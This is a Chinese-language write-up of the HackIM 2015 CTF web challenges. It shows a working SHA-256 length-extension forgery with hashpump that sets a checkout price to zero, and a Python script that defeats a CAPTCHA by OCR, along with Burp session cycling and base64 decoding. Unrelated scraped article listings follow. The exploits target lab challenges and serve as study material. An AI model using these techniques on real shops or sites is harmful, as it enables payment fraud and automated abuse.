Web100

访问页面将看到下面的错误

在burp里使用request / response查看有没有什么不正常的地方。如下图所示,在返回的数据包里被设置了两次不同的PHPSESSID。

如果我把PHPSESSID改成第一个去请求会怎么样呢?当然没有那么简单,修改之后我发现页面只有“Error Code”有改变。

由于PHPSESSID一直在改变,我把每次返回的第一个PHPSESSID作为下一次请求的PHPSESSID去尝试,burp的Intruder可以实现。

Attack几秒钟之后,我发现返回的Error Code开始重复了,于是我把他们整理到一起。

很奇怪的一串字符,但是有点像base64加密,试一下。

1
2
root@kali:~# echo TnVsbGNvbkdvYTIwMTVAV0VCMDAxMTAw | base64 -d
NullconGoa2015@WEB001100

所以flag是flag{NullconGoa2015@WEB001100}

Web300

访问页面后出现

“Find the keys to your home”和一个到loop.php的超链接

访问连接,里面是一个form表单,还有一个房子的图片。

同时还有个提示<!-- A place to loo[k]::back. -->

loo[k]::back有点像ipv6的格式,ipv6的环回接口(loopback)是::1, or 0:0:0:0:0:0:0:1,这也是这道题的flag。

好吧,虽然不像是一道web题,但我确实是这么解开的。

Web400

以0的价格购买这个商品

打开网页出现下面的页面:

点击buy之后会有表单提交,源码如下

1
2
3
4
5
<form action=checkout.php method=POST>
         <input type=hidden name=msg value="Nullcon2015%7Ccorporate%7C10999"><br>
         <input type=hidden name=checksum value="568fe78b29ac377a58ae1fbf02b4d1a158e605b3897916227e4b3ecfc78973db"><br>
        <input type=submit value=Buy>
     </form>

既然要以0的价格购买,我们就要把price改成0,但是我们没法直接修改,因为checksum做了校验。

查看页面源代码,发现下面的注释

1
2
3
4
5
6
7
<!-- 
    if( $checksum === hash("sha256",$secretkey . $msg))   // secretkey is XXXXXXXXXXXXXXXXXXX    :-P
    {
      // Success; :)
    }
  ?> 
   -->

这是length extension 攻击,如果你知道message和MAC,只需再知道key的长度,尽管不知道key的值,也能在message后面添加信息并计算出相应MAC。

使用hashpump来生成一个checksum

token: Nullcon2015|corporate|10999%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01p|0

checksum: a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dca48

提交之后获得key

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
    Date: Fri, 09 Jan 2015 21:08:38 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.5
    Vary: Accept-Encoding
    Content-Length: 114
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html
    <h1> Checkout </h1>Congratualtion You bought Nullcon Pass in ZERO rupee. See you at Nullcon!Flag is fl@g_*2o15}

 

Web500

唯一获得的提示就是“Break the Captcha”

访问页面

就是说需要我们破解验证码

下面是我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
__author__ = "@_SaxX_"
import os, requests, commands, re
= requests.session()
url = "http://54.165.191.231/"
s.get(url + "captcha.php")
while True:
    open('captcha.png''wb').write( s.get(url + "imagedemo.php").content )
    os.system('convert captcha.png -compress none -threshold 16% img.png')
    captcha = commands.getoutput("gocr -i img.png").strip()
    response = s.post(url + "verify.php", {'solution' : captcha}).text
    flag = re.findall('Score :(.*)', response)[0].rstrip()
    if not str(flag).isdigit():
        print "[+] Flag: %s" %flag
        break
print "[%s] Sending Captcha=%s ... "%(flag, captcha)

执行之后出现flag

原文链接:https://ctf-team.vulnhub.com/write-ups/hackim/

flag{H@CKIM_C@pTcha!09022015}本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。

HackIM web关writeup的更多相关文章

  1. 31C3 CTF web关writeup

    0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...

  2. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  3. 网络安全实验室_注入关writeup

    最简单的SQL注入 查看页面源码发现提示要登录admin账户 果断试试万能密码admin' or 1=1# 直接能看到flag了 最简单的SQL注入(熟悉注入环境) 首先查看源码,提示id=1,看样子 ...

  4. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  5. 实验吧 Web的WriteUp

    每次看别人的Writeup都有一种感觉,为什么有了WriteUp我还是不会,每次都打击自己的积极性,所以自己尝试写一篇每个萌新都能看懂的Writeup. 0x01 天下武功唯快不破 题目提示 : 看看 ...

  6. 第一周Web类WriteUp

    Forms 看到这题目第一反应就是先抓个包试试,抓包之后效果如图所示 看到一个showsource=0,那就想着把它改成1看看会出现什么效果,改成1之后forward,发现网页上变成了这个样子 根据这 ...

  7. 实验吧 web题writeup

    1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html 用户名我输入:or'xor"and"select"uni ...

  8. ISG2018 web题Writeup

    0x01.命令注入 这题可以使用burpsuite扫出来,但是可能需要测一下. 得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'% ...

  9. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

随机推荐

  1. Dropdown 下拉菜单

    将动作或菜单折叠到下拉菜单中. 基础用法 移动到下拉菜单上,展开更多操作. 通过组件slot来设置下拉触发的元素以及需要通过具名slot为dropdown 来设置下拉菜单.默认情况下,下拉按钮只要ho ...

  2. Linux性能分析之上下文切换

    而在每个任务运行前,CPU 都需要知道任务从哪里加载.又从哪里开始运行,也就是说,需要系统事先帮它设置好 CPU 寄存器和程序计数器 CPU 寄存器,是 CPU 内置的容量小.但速度极快的内存.而程序 ...

  3. Python学习笔记:Unittest框架了解

    Unittest单元测试框架不仅可以适用于单元测试,还可以适用于自动化测试用来的开发与执行,该测试框架可执行测试用例,并提供丰富的断言方法,最终生成测试报告. 一.Unittest常用方法 1.Tes ...

  4. CL_GUI_FRONTEND_SERVICES 使用问题

    CL_GUI_FRONTEND_SERVICES(SAP操作Windows文件) 这个类下面的方法均为静态方法,引用的时候以=>来引用方法 注意:在执行CL_GUI_FRONTEND_SERVI ...

  5. jdk1.8-Vector

    一:先看下类的继承关系 UML图如下: 继承关系: ))) ))) grow(minCapacity)) ? ) newCapacity = minCapacity) ) , elementData, ...

  6. JavaScript基础入门05

    目录 JavaScript 基础入门05 严格模式 严格模式的设计目的 如何开启使用严格模式 显式报错 字符串 字符串的创建 字符串实例方法之常用API JavaScript 基础入门05 严格模式 ...

  7. 使用docker-client创建NFS挂载

    docker命令行挂载NFS如下: docker volume create --driver local --opt type=nfs --opt o=addr=192.168.11.129,rw ...

  8. VM虚拟机网络设置

    两台PC安装了虚拟机和XP,采用“桥接”模式,设置了两个虚拟机的地址为同网段.但发现飞Q可以联通,数据库无法连接,且ping不通. 解决: (1)将防火墙关闭. (2)通过“虚拟网络编辑器”将该网络桥 ...

  9. pytorch中的激励函数(详细版)

          初学神经网络和pytorch,这里参考大佬资料来总结一下有哪些激活函数和损失函数(pytorch表示)      首先pytorch初始化:   import torch import t ...

  10. AE调用GP工具(创建缓冲区和相交为例)

    引用 Geoprocessing是ArcGIS提供的一个非常实用的工具,借由Geoprocessing工具可以方便的调用ArcToolBox中提供的各类工具,本文在ArcEngine9.2平台环境下总 ...